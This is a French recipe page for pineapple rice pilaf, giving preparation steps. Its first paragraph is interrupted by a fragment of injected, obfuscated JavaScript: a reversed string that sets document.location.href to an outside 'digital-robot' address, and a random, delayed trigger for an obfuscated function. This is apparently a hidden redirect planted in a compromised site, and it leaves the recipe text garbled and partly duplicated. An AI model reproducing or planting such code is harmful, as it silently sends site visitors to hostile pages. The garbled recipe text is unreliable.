Riz pilaf à l’ananas
2021-04-09- Thématique : Végétarien
- Niveau : Difficile
Égouttez l’ananas et gardez le jus. Coupez en petits dés les rondelles d’ananas. Faites les revenir dans une poêle avec une noix de beurre sur feu moyen, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, pendant quelques minutes. Activez le feu.
Ingrédients
Égouttez l'ananas et gardez le jus. Coupez en petits dés les rondelles d'ananas. Faites les revenir dans une poêle avec une noix de beurre sur feu moyen, tout en remuant, pendant quelques minutes. Activez le feu. Déglacez avec une cuillère à soupe de jus d'ananas. Laissez caraméliser. Réservez au chaud. Pelez et hachez l'oignon. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu moyen, faites revenir le hachis d'oignon, salez, poivrez pendant 5 minutes.
Tout en mélangeant incorporez les épices, le riz, et faites cuire jusqu'à ce que les grains de riz soient translucides.
Mouillez avec un verre d'eau froide et un verre de jus d'ananas en ajoutant les morceaux d'ananas dorés. Couvrir et laissez cuire à feu très doux pendant 15 minutes. Dégustez rapidement.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
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